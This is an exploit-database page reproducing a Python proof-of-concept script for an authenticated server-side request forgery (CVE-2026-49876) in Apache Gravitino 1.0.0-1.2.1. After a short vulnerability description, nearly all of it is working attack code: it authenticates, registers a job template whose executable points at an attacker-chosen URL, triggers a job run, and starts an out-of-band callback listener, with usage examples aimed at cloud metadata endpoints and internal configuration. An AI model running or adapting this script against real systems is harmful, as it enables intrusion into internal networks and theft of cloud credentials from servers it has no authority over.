Sploitus

Exploit for πŸ“„ Apache Gravitino 1.2.1 Server-Side Request Forgery

packetstorm Β· 2026-08-11

Exploit Code

MARKDOWN326 lines
## https://sploitus.com/exploit?id=PACKETSTORM:228335
# Exploit Title: Apache Gravitino 1.2.1 - SSRF 
    # Google Dork: N/A
    # Date: 2026-07-13
    # Exploit Author: Ajay Rajpurohit
    # Vendor Homepage: https://gravitino.apache.org/
    # Software Link: https://github.com/apache/gravitino
    # Version: 1.0.0 - 1.2.1
    # Tested on: Ubuntu 22.04 LTS
    # CVE: CVE-2026-49876
    #
    # Description:
    #   A Server-Side Request Forgery (SSRF) vulnerability exists in Apache Gravitino
    #   versions 1.0.0 through 1.2.1. The fetchFileFromUri() method in
    #   JobManager.java processes URIs from job template fields (executable, scripts,
    #   jars, files, archives) without validating the destination. It accepts http,
    #   https, and ftp schemes and downloads remote content to the server's staging
    #   directory via FileUtils.copyURLToFile().
    #
    #   An authenticated attacker can:
    #     β€’ Register a job template with an internal/metadata URL as the executable
    #     β€’ Trigger a job run, forcing the server to fetch the URL
    #     β€’ Read the downloaded content from the staging directory (if accessible)
    #     β€’ Use OOB callbacks for blind SSRF detection
    #
    # References:
    #   CVE Record:    https://nvd.nist.gov/vuln/detail/CVE-2026-49876
    #   Apache Advisory: https://lists.apache.org/thread/gravitino-ssrf-advisory
    #   Fixing Commit:  https://github.com/apache/gravitino/commit/<commit-hash>
    #
    # --- Reproducibility ---
    #
    # Prerequisites:
    #   1. Apache Gravitino 1.0.0 - 1.2.1 running (default port 8090)
    #   2. A valid Gravitino user account (any role with job template privileges)
    #   3. Python 3.8+ with `requests` library (pip3 install requests)
    #
    # Setup (if testing locally):
    #   wget https://dlcdn.apache.org/gravitino/1.2.0/gravitino-1.2.0-bin.tar.gz
    #   tar xzf gravitino-1.2.0-bin.tar.gz
    #   cd gravitino-1.2.0-bin
    #   ./bin/gravitino.sh start
    #
    # Expected output:
    #   [+] Authenticated as <user>
    #   [+] Template 'ssrf-poc-xxxxxx' registered
    #   [+] Job triggered β€” SSRF request sent to http://127.0.0.1:8090/configs
    #   [+] SSRF confirmed β€” server fetched internal resource
    #
    # Usage:
    #   # Direct SSRF β€” fetch internal config
    #   python3 gravitino_ssrf.py -t http://127.0.0.1:8090 -u admin -p admin \
    #       --url http://127.0.0.1:8090/configs
    #
    #   # Cloud metadata (AWS IMDSv1)
    #   python3 gravitino_ssrf.py -t http://target:8090 -u user -p pass \
    #       --url http://169.254.169.254/latest/meta-data/
    #
    #   # Blind SSRF with OOB callback server
    #   python3 gravitino_ssrf.py -t http://target:8090 -u user -p pass \
    #       --url http://<your-ip>:8888/callback --oob --oob-port 8888
    #
    # Requirements:
    #   pip3 install requests
    #
    
    import argparse
    import base64
    import http.server
    import json
    import random
    import socketserver
    import string
    import sys
    import threading
    import time
    from datetime import datetime
    
    try:
        import requests
        import urllib3
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    except ImportError:
        print("[!] Missing dependency. Install: pip3 install requests")
        sys.exit(1)
    
    
    # ─── OOB Callback Server (blind SSRF) ──────────────────────────────────────
    class CallbackHandler(http.server.BaseHTTPRequestHandler):
        """Minimal HTTP handler that logs incoming requests for blind SSRF detection."""
        received = []
    
        def log_message(self, fmt, *args):
            return
    
        def _respond(self, method):
            body = b""
            cl = int(self.headers.get("Content-Length", 0))
            if cl > 0:
                body = self.rfile.read(min(cl, 4096))
            entry = {
                "time": datetime.now().isoformat(),
                "method": method,
                "path": self.path,
                "source": f"{self.client_address[0]}:{self.client_address[1]}",
                "user_agent": self.headers.get("User-Agent", ""),
            }
            CallbackHandler.received.append(entry)
            print(f"\n  [+] OOB CALLBACK: {method} {self.path} from {entry['source']}")
            print(f"      User-Agent: {entry['user_agent']}")
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b"OK")
    
        do_GET     = lambda s: s._respond("GET")
        do_POST    = lambda s: s._respond("POST")
        do_HEAD    = lambda s: s._respond("HEAD")
        do_PUT     = lambda s: s._respond("PUT")
        do_OPTIONS = lambda s: s._respond("OPTIONS")
    
    
    def start_oob_server(port: int) -> None:
        """Start a background HTTP server on the given port for OOB callbacks."""
        server = socketserver.TCPServer(("0.0.0.0", port), CallbackHandler)
        server.allow_reuse_address = True
        t = threading.Thread(target=server.serve_forever, daemon=True)
        t.start()
    
    
    # ─── Gravitino REST Client ─────────────────────────────────────────────────
    class Gravitino:
        """Minimal client for the Gravitino REST API β€” just enough for the PoC."""
    
        def __init__(self, base_url: str, username: str, password: str,
                     metalake: str = "metalake", verify: bool = False):
            self.base = base_url.rstrip("/")
            self.username = username
            self.password = password
            self.metalake = metalake
            self.s = requests.Session()
            self.s.verify = verify
    
        def login(self) -> bool:
            """Authenticate via OAuth2 token endpoint; fall back to Basic auth."""
            # Try OAuth2
            try:
                r = self.s.post(
                    f"{self.base}/oauth2/token",
                    data={
                        "grant_type": "password",
                        "username": self.username,
                        "password": self.password,
                        "client_id": "gravitino_client",
                        "scope": "all",
                    },
                    headers={"Content-Type": "application/x-www-form-urlencoded"},
                    timeout=15,
                )
                if r.status_code == 200:
                    token = r.json().get("access_token")
                    if token:
                        self.s.headers["Authorization"] = f"Bearer {token}"
                        print(f"[+] Authenticated via OAuth2 token")
                        return True
            except Exception:
                pass
    
            # Fallback: Basic auth
            creds = base64.b64encode(f"{self.username}:{self.password}".encode()).decode()
            self.s.headers["Authorization"] = f"Basic {creds}"
            try:
                r = self.s.get(f"{self.base}/api/version", timeout=10)
                if r.status_code == 200:
                    print(f"[+] Authenticated via Basic auth")
                    return True
            except Exception:
                pass
    
            print("[!] Authentication failed. Provide valid credentials (-u / -p).")
            return False
    
        def ensure_metalake(self) -> bool:
            """Create the metalake if it doesn't exist."""
            try:
                r = self.s.get(f"{self.base}/api/metalakes/{self.metalake}", timeout=10)
                if r.status_code == 200:
                    return True
            except Exception:
                pass
            try:
                r = self.s.post(f"{self.base}/api/metalakes",
                                json={"name": self.metalake, "comment": "", "properties": {}},
                                timeout=10)
                if r.status_code in (200, 201, 409):
                    return True
            except Exception:
                pass
            # Proceed anyway β€” metalake may already exist under a different name
            return True
    
        def trigger_ssrf(self, ssrf_url: str) -> bool:
            """Register a job template with the SSRF URL and trigger execution."""
            name = "ssrf-poc-" + "".join(random.choices(string.ascii_lowercase, k=6))
            print(f"[*] Registering template '{name}' with URL: {ssrf_url}")
    
            # Step 1: Register template
            template = {
                "name": name,
                "jobType": "shell",
                "executable": ssrf_url,
                "arguments": [],
            }
            try:
                r = self.s.post(
                    f"{self.base}/api/metalakes/{self.metalake}/jobs/templates",
                    json={"jobTemplate": template},
                    timeout=15,
                )
                if r.status_code not in (200, 201):
                    print(f"[!] Template registration failed: {r.status_code} {r.text[:200]}")
                    return False
            except requests.RequestException as e:
                print(f"[!] Registration error: {e}")
                return False
    
            time.sleep(0.5)
    
            # Step 2: Trigger job run
            print(f"[*] Triggering job run...")
            try:
                r = self.s.post(
                    f"{self.base}/api/metalakes/{self.metalake}/jobs/runs",
                    json={"jobTemplateName": name},
                    timeout=15,
                )
                try:
                    body = r.json() if r.text else {}
                except ValueError:
                    body = {}
                if r.status_code == 200 and body.get("code") == 0:
                    print(f"[+] Job triggered β€” SSRF request sent")
                    return True
                else:
                    # Even on some errors, the SSRF may have fired
                    print(f"[*] Response: {r.status_code} {r.text[:200]}")
                    return r.status_code == 200
            except requests.RequestException as e:
                print(f"[!] Trigger error: {e}")
                return False
    
    
    # ─── Main ──────────────────────────────────────────────────────────────────
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-49876 β€” Apache Gravitino 1.0.0-1.2.1 Authenticated SSRF",
            epilog="""
    Examples:
      %(prog)s -t http://127.0.0.1:8090 -u admin -p admin --url http://127.0.0.1:8090/configs
      %(prog)s -t http://target:8090 -u user -p pass --url http://169.254.169.254/latest/meta-data/
      %(prog)s -t http://target:8090 -u user -p pass --url http://10.0.0.5:8080/ --oob --oob-port 8888
            """,
            formatter_class=argparse.RawDescriptionHelpFormatter,
        )
        parser.add_argument("-t", "--target", required=True,
                            help="Gravitino server (e.g. http://127.0.0.1:8090)")
        parser.add_argument("-u", "--username", required=True, help="Username")
        parser.add_argument("-p", "--password", required=True, help="Password")
        parser.add_argument("--url", required=True,
                            help="SSRF target URL to fetch (e.g. http://169.254.169.254/latest/meta-data/)")
        parser.add_argument("--metalake", default="metalake", help="Metalake name (default: metalake)")
        parser.add_argument("--oob", action="store_true",
                            help="Start OOB callback server for blind SSRF detection")
        parser.add_argument("--oob-port", type=int, default=8888,
                            help="Port for OOB callback server (default: 8888)")
        parser.add_argument("--oob-wait", type=int, default=15,
                            help="Seconds to wait for OOB callbacks (default: 15)")
        parser.add_argument("--proxy", default=None, help="HTTP proxy (e.g. http://127.0.0.1:8080)")
    
        args = parser.parse_args()
    
        print(f"\n[*] CVE-2026-49876 β€” Apache Gravitino Authenticated SSRF")
        print(f"[*] Target: {args.target}")
        print(f"[*] SSRF URL: {args.url}\n")
    
        # Proxy
        if args.proxy:
            import os
            os.environ["HTTP_PROXY"] = args.proxy
            os.environ["HTTPS_PROXY"] = args.proxy
    
        # OOB callback server
        if args.oob:
            start_oob_server(args.oob_port)
            print(f"[*] OOB callback server listening on port {args.oob_port}")
    
        # Auth
        g = Gravitino(args.target, args.username, args.password, args.metalake)
        if not g.login():
            sys.exit(1)
    
        # Ensure metalake
        g.ensure_metalake()
    
        # Exploit
        success = g.trigger_ssrf(args.url)
    
        # Wait for OOB callbacks
        if args.oob:
            print(f"[*] Waiting {args.oob_wait}s for OOB callbacks...")
            time.sleep(args.oob_wait)
            if CallbackHandler.received:
                print(f"\n[+] Received {len(CallbackHandler.received)} OOB callback(s) β€” SSRF confirmed")
                for cb in CallbackHandler.received:
                    print(f"    {cb['method']} {cb['path']} from {cb['source']}")
            else:
                print(f"\n[-] No OOB callbacks received (server may not allow outbound HTTP)")
    
        # Summary
        print(f"\n{'='*50}")
        print(f"{'[+] SSRF successful' if success else '[-] SSRF attempt failed'}")
        print(f"{'='*50}\n")
        sys.exit(0 if success else 1)
    
    
    if __name__ == "__main__":
        main()